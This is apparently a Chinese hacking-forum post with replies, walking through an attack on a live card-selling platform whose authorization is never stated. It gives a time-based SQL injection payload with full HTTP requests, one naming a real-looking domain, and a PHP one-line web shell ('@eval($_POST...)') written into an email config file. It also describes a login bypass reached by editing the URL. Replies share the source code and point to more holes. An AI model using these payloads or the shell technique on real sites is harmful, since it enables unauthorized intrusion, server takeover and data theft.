某发卡平台的一次渗透测试

0x0 事前缘由

某日无聊问朋友有没有事情帮忙,闲的蛋疼,反手直接给个平台,发现是某发卡平台。
话不多说,直接开撸。

0x1 正常开头

先从某度搜索类似这种网站,访问某发卡平台正常,界面如下:


然后使用目录扫描工具,发现仅存的几个目录。结果如下:

访问admin目录,发现是后台,由用户名,密码,安全密码组成,爆破这难度有点高。界面如下:

尝试使用弱口令等等,结果无果,在此就不附上截图了。

0x2 获取SQL注入点

发现找不到任何切入点,跑去找相关的源码。
下载了源码之后分析发现在getkm.php文件,直接就发现了一个注入。

查看了common.php文件发现只是一个防止cc软wsf,并没有做任何参数过滤

直接构造
POC:' AND (SELECT * FROM (SELECT(SLEEP(5)))JKNQ)-- dGwh
数据:

POST /getkm.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Cookie: PHPSESSID=cidvriorg2as3nbgc575f6mhdr
Connection: close
Upgrade-Insecure-Requests: 1

tqm=11' AND (SELECT * FROM (SELECT(SLEEP(5)))JKNQ)-- dGwh

同时存在注入点tyid,三种注入。

POST /ajax.php?act=selgo HTTP/1.1
Host: aianpi.com
Connection: close
Content-Length: 6
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://aianpi.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://aianpi.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8qkmln1keof1fk9to9ikei96j5; __51cke__=; __tins__20520919=%7B%22sid%22%3A%201577501760570%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201577503583339%7D; __51laig__=2

tyid=1


成功跑出库
7

接下来就是常规的跑表、用户名等等操作。

0x3 登陆后台Getshell

此操作需要登录后台方可进行。
发现在邮箱配置中,找到一处可以getshell的点。
http://127.0.0.1/tb888/set.php?mod=email

查看set.php文件,发现include emailConfig.php。

查看emailConfig.php
10

反正是挨个试,在title中发现,可以写入phpinfo();

进行构造Payload:');phpinfo();array(//

访问emailConfig.php看看结果

发现没问题,再写上一句话:');@eval($_POST['1']);array(//

使用蚁剑连接

发现连接上了,本次Getshell到此结束。后面发现是www权限,但由于被人喊出去应急,所以也就没有接下去,有兴趣的小伙伴们可以练习练习提权拿下服务器。

菜的扣脚的我,心血来潮分享过程,感觉有点基础,希望各位大佬勿喷。

0x4 发现一枚未授权访问(Surprise!!)

本来到此结束了,但是后面发现好像发现新大陆。
登陆界面发现是用JS校验账号密码的,把浏览器的JS禁掉发现。直接输入登录成功后的后台地址就可以进去。

把login.php改成index.php就进去了。

再把上文的写shell过程做一遍,因为上文Getshell中需要登陆的,现在已经绕过登陆了,这就省去登陆的步骤,直接写上一句话就够了,然后直接访问。

有些是源码的问题,有些网站可能改过进不去,但是没改过源码的是可以。

8 Likes

我替楼主补上源码kamiphp.zip (1.6 MB)

6 Likes

老哥问一下,Payload:');phpinfo();array(//,这里添加array是什么原理

补全下面那行的那个);吧。。不然没补全会报错


是的,添加array是补后面的内容。

把后面的圆括号闭合了

明白了,谢谢老哥

这套发卡还有任意修改管理密码 /admin/ajax.php 注入一大堆 不过新版本好像不行了

各位大佬留步,想问下一般确定目标cms是什么模板。除了一些检测网站、截取部分源码去got,还有什么方法吗?